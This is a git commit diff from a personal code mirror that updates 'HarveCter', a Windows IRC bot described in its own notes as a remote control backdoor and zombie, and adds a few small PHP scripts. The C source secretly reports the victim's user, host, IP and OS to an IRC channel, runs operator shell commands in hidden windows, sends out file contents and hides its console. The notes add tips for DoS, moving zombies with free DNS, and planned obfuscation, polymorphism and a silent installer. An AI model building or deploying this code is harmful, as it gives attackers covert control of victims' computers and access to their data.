From: Harvie Date: Tue, 25 May 2010 00:31:19 +0000 (+0200) Subject: newer version of HarveCter + some funny php scripts X-Git-Url: https://git.harvie.cz/?a=commitdiff_plain;h=f9138ad760d4c147a636c98dc5e7aa113230ffe9;p=mirrors%2FPrograms.git newer version of HarveCter + some funny php scripts --- diff --git a/c/HarveCter/HarveCter.dev b/c/HarveCter/HarveCter.dev new file mode 100644 index 0000000..f3bfa2d --- /dev/null +++ b/c/HarveCter/HarveCter.dev @@ -0,0 +1,59 @@ +[Project] +FileName=HarveCter.dev +Name=HarveCter +UnitCount=1 +Type=1 +Ver=1 +ObjFiles= +Includes= +Libs= +PrivateResource= +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker=../../../../../Dev-Cpp/lib/libws2_32.a_@@_ +IsCpp=0 +Icon= +ExeOutput= +ObjectOutput= +OverrideOutput=0 +OverrideOutputName=HarveCter.exe +HostApplication= +Folders= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=0 +SupportXPThemes=0 +CompilerSet=0 +CompilerSettings=0000000001001001000000 + +[Unit1] +FileName=harvecter.c +CompileCpp=0 +Folder=HarveCter +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[VersionInfo] +Major=0 +Minor=1 +Release=1 +Build=1 +LanguageID=1033 +CharsetID=1252 +CompanyName= +FileVersion= +FileDescription=Developed using the Dev-C++ IDE +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion= +AutoIncBuildNr=0 + diff --git a/c/HarveCter/Makefile.win b/c/HarveCter/Makefile.win new file mode 100644 index 0000000..643380f --- /dev/null +++ b/c/HarveCter/Makefile.win @@ -0,0 +1,30 @@ +# Project: HarveCter +# Makefile created by Dev-C++ 4.9.9.2 + +CPP = g++.exe -D__DEBUG__ +CC = gcc.exe -D__DEBUG__ +WINDRES = windres.exe +RES = +OBJ = harvecter.o $(RES) +LINKOBJ = harvecter.o $(RES) +LIBS = -L"C:/Dev-Cpp/lib" ../../../../../Dev-Cpp/lib/libws2_32.a -g3 +INCS = -I"C:/Dev-Cpp/include" +CXXINCS = -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"C:/Dev-Cpp/include/c++/3.4.2/backward" -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32" -I"C:/Dev-Cpp/include/c++/3.4.2" -I"C:/Dev-Cpp/include" +BIN = HarveCter.exe +CXXFLAGS = $(CXXINCS) -fexpensive-optimizations -O3 -g3 +CFLAGS = $(INCS) -fexpensive-optimizations -O3 -g3 +RM = rm -f + +.PHONY: all all-before all-after clean clean-custom + +all: all-before HarveCter.exe all-after + + +clean: clean-custom + ${RM} $(OBJ) $(BIN) + +$(BIN): $(OBJ) + $(CC) $(LINKOBJ) -o "HarveCter.exe" $(LIBS) + +harvecter.o: harvecter.c + $(CC) -c harvecter.c -o harvecter.o $(CFLAGS) diff --git a/c/HarveCter/harvecter.c b/c/HarveCter/harvecter.c old mode 100755 new mode 100644 index 635704b..7bd1d9d --- a/c/HarveCter/harvecter.c +++ b/c/HarveCter/harvecter.c @@ -1,7 +1,7 @@ /* -HarveCter IRCBot 1.0b -This 31337 code by: Harvie 2oo7 -Windows IRC Bot/Zombie/Whatever you want... +HarveCter IRCBot 1.0b-RC1 +This "313373" code by: Harvie 2oo7 +Minimalistic Windows IRC Bot/Zombie/Whatever you want... INFO: Optimalized for Dev-Cpp @@ -20,9 +20,10 @@ Warning: all commands are case sensitive !chanpass //Set mode +k PRIVILEGED COMMANDS: -!SAY [msg] //Say msg -!CMD [shell command] //Execute command @ zombie -!raw [line to send] //Sends raw line to server (you can OP yourself) +!SAY [msg] //Say msg +!CMD [shell command] //Execute command @ zombie +!head [file to send] //Send few (maxlines_to_send) lines of file +!raw [line to send] //Sends raw line to server (you can OP yourself) !info //Info about zombie !time //Localtime @ zombie !show //Show console window @@ -31,10 +32,10 @@ PRIVILEGED COMMANDS: !respawn //Restart whole zombie Development comments: -6 * 128 == 768 == Maximum lenght of IRC message (RFC) + */ -//Preproc: +//PREPROC://////////////////////////////////////////////////////////////// #include #include #include @@ -42,37 +43,99 @@ Development comments: #include #pragma comment(lib,"ws2_32.a"); +//SETTINGS://///////////////////////////////////////////////////////////// + char server[] = "irc.2600.net"; //IRC Server + int port = 6667; //Port of IRC Server + char channel[] = "#hv"; //IRC Channel + char pass[] = "test"; //Bot Password + char chanpass[] = "lol"; //Channel Password + char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup + int maxlines_to_send = 3; //Number of max lines to send at one time + #define DEBUG //Enables printing/loging + #define ENABLE_EXEC //Compile !CMD +//MAGICS:///////////////////////////////////////////////////////////////// + #define CONNECT_CHECKER_SLEEP 20000 + #define CONNECT_FAIL_SLEEP 5000 + #define IRC_JOIN_SLEEP 2000 + #define IRC_RETRY_SLEEP 1000 + #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768) +//MISC://///////////////////////////////////////////////////////////////// + char version[] = "1.0b-RC1"; //Bot version + char cmdfile[] = "zzzcommands.bat"; + char nick[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead + + +// +//FUNCTIONS:///////////////////////////////////////////////////////////// + +//CUT String to 768 characters +void irc_cut_text(char *line) { + *(line+MAXCHARS) = 0; + *(line+MAXCHARS-1) = '\n'; + } + //Sends IRC message "msg" to "channel" over socket "s". int irc_sendmsg(int s, char *channel, char *msg) { int len, err; char snd[1024]; + irc_cut_text(&msg); sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg); + irc_cut_text(&snd); len = strlen(snd); err = send(s, snd, len, 0); + #ifdef DEBUG printf("%s", snd); //Show + #endif return err; } +//This is thread to check/ping irc connection on background +int irc_check_socket = -1; +int irc_check_last = 0; +int irc_check_thread() { + unsigned char ping[] = "PING\n"; + int irc_check_time, len, err; + while(irc_check_last <= 0) sleep(500); + while(1) { + sleep(CONNECT_CHECKER_SLEEP); + #ifdef DEBUG + puts("Checking connection..."); + #endif + if(irc_check_socket >= 0) { + #ifdef DEBUG + puts("Pinging IRC Server..."); + #endif + err = send(irc_check_socket, ping, strlen(ping), 0); + sleep(1500); + #ifdef DEBUG + printf("Server latency: %d\n", time(0)-irc_check_last-1.5); + #endif + if(time(0)-irc_check_last > (CONNECT_CHECKER_SLEEP/1000)+10 || err == -1) { + #ifdef DEBUG + puts("Server not responding - disconnecting!\n\n"); + #endif + closesocket(irc_check_socket); + + } + } + } +} + //MAIN_FUNCTION:////////////////////////////////////////////////////////// -int main(int argc, char *argv[]) { - -//SETTINGS://///////////////////////////////////////////////////////////// - char server[] = "irc.2600.net"; //IRC Server - int port = 6667; //Port of IRC Server - char channel[] = "#hv"; //IRC Channel - char pass[] = "test"; //Bot Password - char chanpass[] = "lol"; //Channel Password - char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup -//MISC://///////////////////////////////////////////////////////////////// - char version[] = "1.0b"; //Bot version - char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead - char cmdfile[] = "zzzcommands.bat"; - //AllocConsole(); //Ukazat - //FreeConsole(); //Schovat... ;) +int main(int argc, char *argv[]) { + +//MORE SETTINGS:////////////////////////////////////////////////////////// + //AllocConsole(); //Show + //FreeConsole(); //Hide... ;) //freopen("log.txt", "ab", stdout); //Log all outputs to file //INITIALIZATIONS://////////////////////////////////////////////////////// + #ifndef DEBUG + fclose(stdout); + fclose(stdin); + #endif srand(time(0)); - char lclhost[256], lclhostnm[256], hostmsg[1000]; + int i; + unsigned char lclhost[256], lclhostnm[256], hostmsg[1000], linebuf[600]; char *user, *processor, *root, *logonsrvr, *os, rnd[10]; //Load enviroment variables user = getenv("USERNAME"); @@ -89,18 +152,30 @@ int main(int argc, char *argv[]) { time_t cas; //cmd FILE *cmdf; + //Start connection checking thread: + unsigned checker_thread_id; + unsigned long checker_handle; + checker_handle = _beginthreadex( NULL, 0, irc_check_thread, 0, 0, &checker_thread_id); + if (checker_handle == 0) { + #ifdef DEBUG + puts("Cannot create connection watching thread!"); + #endif + return(20); + } ////////////////////////////////////////////////////////////////////////// //CODE://///////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// //Delete cmdfile (Hell knows it's useful...) cmdf = fopen(cmdfile, "w"); - fprintf(cmdf, "del %s\n", cmdfile); + fprintf(cmdf, "del %s 2>nul\n", cmdfile); fclose(cmdf); WinExec(cmdfile,SW_HIDE); //Print banner + #ifdef DEBUG printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick); + #endif //Execute startup script WinExec(rcfile,SW_HIDE); //Run rcfile (hidden) @@ -113,8 +188,10 @@ int main(int argc, char *argv[]) { //Set details for WSA while( (host=gethostbyname(server)) == NULL){ //Host + #ifdef DEBUG printf("!Error server host not found\nwaiting 5s...\n"); - sleep(5000); + #endif + sleep(CONNECT_FAIL_SLEEP); } sck.sin_family = PF_INET; memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); @@ -122,13 +199,17 @@ int main(int argc, char *argv[]) { //Info at localhost while ((localhost=gethostbyname("")) == NULL) { + #ifdef DEBUG printf("!Error local host not found\nwaiting 5s...\n"); - sleep(5000); + #endif + sleep(CONNECT_FAIL_SLEEP); } sprintf(lclhostnm, "%s", localhost->h_name); sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr))); - sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor); + sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s - VERSION: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor, version); + #ifdef DEBUG printf("%s\n", hostmsg); + #endif //Initialization of strings used for IRC communication, etc... int len, err; //Lenght, Error @@ -136,29 +217,34 @@ int main(int argc, char *argv[]) { //Infinite loop (bot can't stop) while(1) { + irc_check_socket = -1; //disable connection checking //Create socket s=socket(AF_INET, SOCK_STREAM, 0); //Connect while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) { + #ifdef DEBUG printf("!Error while connecting\nwaiting 5s...\n"); - sleep(5000); - } + #endif + sleep(CONNECT_FAIL_SLEEP); + } + irc_check_socket = s; //enable connection checking for socket s //IRC Server login sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick); + irc_cut_text(&snd); len = strlen(snd); err = send(s, snd, len, 0); //Join&Set channel password sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); - sleep(1000); + sleep(IRC_RETRY_SLEEP); err = send(s, snd, len, 0); //mode #chan +k heslo - sleep(2000); + sleep(IRC_JOIN_SLEEP); sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); - sleep(1000); + sleep(IRC_RETRY_SLEEP); err = send(s, snd, len, 0); @@ -170,7 +256,7 @@ int main(int argc, char *argv[]) { //Loop (while connection exists) err = 1; - while( err && err != -1) { + while(err && err != -1) { //JOIN sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); @@ -178,22 +264,32 @@ int main(int argc, char *argv[]) { //RECIEVE memset(rcv, '\0', 1024); sub = 0; - err = recv(s, rcv, 1024, 0); + err = recv(s, rcv, 1020, 0); + irc_cut_text(&rcv); + #ifdef DEBUG printf("%s", rcv); + #endif + irc_check_last = time(0); //For connection checker //PING-PONG (Respond to server pings only) if ( (sub = (strstr(rcv, "PING :"))) ) { sub = sub+6; sprintf(snd, "PONG :%s", sub); + irc_cut_text(&snd); len = strlen(snd); err = send(s, snd, len, 0); + #ifdef DEBUG printf("%s", snd); + #endif } sub = 0; if ( (sub = (strstr(rcv, ":!chanpass"))) ) { + #ifdef DEBUG printf("!Setting chanpass\n"); + #endif sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); + irc_cut_text(&snd); len = strlen(snd); err = send(s, snd, len, 0); } @@ -205,12 +301,16 @@ int main(int argc, char *argv[]) { sprintf(passin, "%s", sub); if ( strstr(passin, pass) ) { //Use this condition to check login. sprintf(msg, "Login succesful"); - irc_sendmsg(s, channel, msg); + err = irc_sendmsg(s, channel, msg); + #ifdef DEBUG printf("\n!!!Login succesful\n"); + #endif } else { sprintf(msg, "Loged out"); - irc_sendmsg(s, channel, msg); + err = irc_sendmsg(s, channel, msg); + #ifdef DEBUG printf("!!!Loged out\n\n"); + #endif } } sub = 0; @@ -234,10 +334,11 @@ int main(int argc, char *argv[]) { //TIME if ( (sub = (strstr(rcv, ":!time"))) ) { + #ifdef DEBUG printf("Time\n"); - //struct tm t; - - cas = time(NULL); + #endif + + cas = time(0); p_st_cas = localtime(&cas); strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas); @@ -248,31 +349,63 @@ int main(int argc, char *argv[]) { //SEND RAW if ( (sub = (strstr(rcv, ":!raw "))) ) { sub = sub+6; + irc_cut_text(&sub); len = strlen(sub); err = send(s, sub, len, 0); } sub = 0; + #ifdef ENABLE_EXEC //SHELL //Hey! Don't forget to download wget&curl in bot directory!! ;D //With wget and curl you will be able to download and upload files... if ( (sub = (strstr(rcv, ":!CMD "))) ) { sub = sub+6; - sprintf(snd, "%s", sub); - printf("!CMD %s", snd); + #ifdef DEBUG + printf("!CMD %s", sub); + #endif sprintf(msg, "Executing: %s", sub); irc_sendmsg(s, channel, msg); + #ifdef DEBUG printf("!!! %s", msg); + #endif FILE *cmdf = fopen(cmdfile, "w"); - fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile); + fprintf(cmdf, "%s\ndel %s\n", sub, cmdfile); fclose(cmdf); WinExec(cmdfile,SW_HIDE); //Hide console window //system(cmdfile); //Show console window } sub = 0; + #endif + + //SEND LINE OF FILE + if ( (sub = (strstr(rcv, ":!head "))) ) { + sub = sub+7; + #ifdef DEBUG + printf("!head %s", sub); + #endif + + for(i=0;i %s", msg); + #endif + } + + fclose(cmdf); + } + } //HIDE/SHOW if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0; @@ -285,7 +418,9 @@ int main(int argc, char *argv[]) { closesocket(s); sprintf(msg, "ERROR: Couldn't close socket :("); err = irc_sendmsg(s, channel, msg); + #ifdef DEBUG printf("\nRESTARTING...\n\n"); + #endif } sub = 0; @@ -293,12 +428,16 @@ int main(int argc, char *argv[]) { if ( (sub = (strstr(rcv, ":!respawn"))) ) { sprintf(msg, "Please wait while respawning..."); err = irc_sendmsg(s, channel, msg); + #ifdef DEBUG printf("\nRESPAWNING...\n\n"); + #endif closesocket(s); execl(argv[0], NULL); //Exchange old process for new (argv[0]) sprintf(msg, "ERROR: Couldn't respawn :("); err = irc_sendmsg(s, channel, msg); + #ifdef DEBUG printf("ERROR: Couldn't respawn :(\n"); + #endif } sub = 0; @@ -307,11 +446,13 @@ int main(int argc, char *argv[]) { //Close closesocket(s); + #ifdef DEBUG printf("!Error while sending\nwaiting 5s before reconnect...\n"); - sleep(5000); + #endif + sleep(CONNECT_FAIL_SLEEP); }//InfiniteLoopEND - //Zavrit + //Finito (never reach here) closesocket(s); WSACleanup(); //Flush WSA return(0); diff --git a/c/HarveCter/harvecter.nfo b/c/HarveCter/harvecter.nfo old mode 100755 new mode 100644 index 38a3dd0..b1268d3 --- a/c/HarveCter/harvecter.nfo +++ b/c/HarveCter/harvecter.nfo @@ -17,7 +17,7 @@ <> Name: HarveCter <> <> Subject: IRC Bot <> <> Description: Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC <> - <> Version: 1.0b <> + <> Version: 1.0 <> <> <> <> <>DETAILS <> <> Platform: Microsoft Windows (Tested on XP SP2) <> @@ -58,6 +58,7 @@ rather than sending bots directly to one server (as irc.2600.net:6667)!!! - !SAY [msg] //Say msg - !CMD [shell command] //Execute command @ bot (hidden console window) - !CMD start [shell command] //Execute command @ bot (show console window) +- !head [file to send] //Send few (maxlines_to_send) lines of file - !raw [line to send] //Sends raw line to server (you can OP yourself) - !info //Info about zombie - !time //Local time @ zombie @@ -84,7 +85,7 @@ This binary must be fully controlled from CLI (command line). - Runtimes - Unix(CygWin), Java(JArX) PHP, Perl, Python - NirCMD2 - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...) - CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???) -- Anything else - DoS, mailing (Don't do any ilegal stuff with this - yust testing!!!) +- Anything else - DoS, mailing (Don't do any ilegal stuff with this - just testing!!!) <>Recommendations: - Use some free DNS service to move zombies across servers. @@ -94,7 +95,9 @@ This binary must be fully controlled from CLI (command line). <>Version history: - future - Maybe some bugfixes -- 0.1b - bugfixes (cmdfile), Implemented "!respawn" +- 1.0 - Fixed for overflows, checked bounds, etc..., reformated/reidented source +- 1.0bRC1 - Implemented Connection checker (new thread), Implemented "!line" +- 1.0b - Bugfixes (cmdfile), Implemented "!respawn" - 0.9 - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn" - 0.8 - Hidden execution - 0.7 - Implemented "!info" & "!time" @@ -102,6 +105,15 @@ This binary must be fully controlled from CLI (command line). - 0.5 - Implemented "!CMD" function - other - I can't remember ;D + <>To Do: +- Need SSL to Rock! +- Binary obfuscation better than UPX +- Polymorfism? +- Test binary on "W0W MS OS Vista" (sorry, im running Linux ;) +- Implement some minimalistic hack, which allows you to download wget +- Utility for changing bot settings by direct binary patching without recompiling +- Automatic silent installer + <>Terms of use: - Use it like you want [use, change, abuse]! - There is no warranty, because this is free of charge for you! @@ -110,4 +122,4 @@ This binary must be fully controlled from CLI (command line). <>=====0=======================================================================================1=====<> <>======0=======================================================================================1====<> - <>====000=============================================================== <-- Harvie 2oo7 =====111====<> + <>====000============================================================= <-- Harvie 2oo7/8 =====111====<> diff --git a/php/.cdtray.php b/php/.cdtray.php new file mode 100644 index 0000000..66a83de --- /dev/null +++ b/php/.cdtray.php @@ -0,0 +1,14 @@ +Eject +Close + diff --git a/php/404.php b/php/404.php new file mode 100755 index 0000000..1fdaee1 --- /dev/null +++ b/php/404.php @@ -0,0 +1,58 @@ +$desc"; + $link_cache = "$cache_desc"; +?> + + +<?php echo($request); ?> - 404 Not Found + + + + + +
+

404 Not Found

+

The requested URL was not found on this server.

+

You can try to google it: .

+

You can also try to lookup google cache: .

+

Or you can visit my blog.

+
+

404 Nenalezeno

+

Požadovaná URL nebyla na tomto serveru nalezena.

+

Můžete ji zkusit vygooglovat: .

+

Můžete ji zkusit najít v google archivu: .

+

Nebo můžete navštívit můj blog.

+
+ +

Big Brother's watching...


+
+     \./     
+    (o o)    
+oOOo-(_)-oOOo
+
+
+ + + + + diff --git a/php/speech.php b/php/speech.php new file mode 100755 index 0000000..f08cdca --- /dev/null +++ b/php/speech.php @@ -0,0 +1,27 @@ +Harvie's Remote TTS + + +
+ + + +
+ +Wrong password!'); +$text=$_GET['tts']; +echo("?tts=$text"); + +function festival_say($text, $encoding='UTF-8') { + //Maybe you will need to SUID festival binary... + $festival = popen("iconv -c -t ISO-8859-2 -f $encoding | festival --tts", 'w'); + fwrite($festival, $text); + fclose($festival); +} + +festival_say($text); + + + + diff --git a/php/torrentbot.php b/php/torrentbot.php new file mode 100644 index 0000000..c69bc4c --- /dev/null +++ b/php/torrentbot.php @@ -0,0 +1,24 @@ +
+

Torrent Search Bot

+
+ +
+ +'); +$q = $_GET['q']; + +$q = urlencode($q); +$q = "http://www.google.com/search?num=100&q=$q%20filetype%3Atorrent"; +echo("$q\n\n"); + +preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($q)), $torrents); +//print_r($torrents); +$torrents = $torrents[0]; +foreach($torrents as $torrent) if(eregi('\.torrent', $torrent)){ + echo("$torrent\n"); +} +?> +